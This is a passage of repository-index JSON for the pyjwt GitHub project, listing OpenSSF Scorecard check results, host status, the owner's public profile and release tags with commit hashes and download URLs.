your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3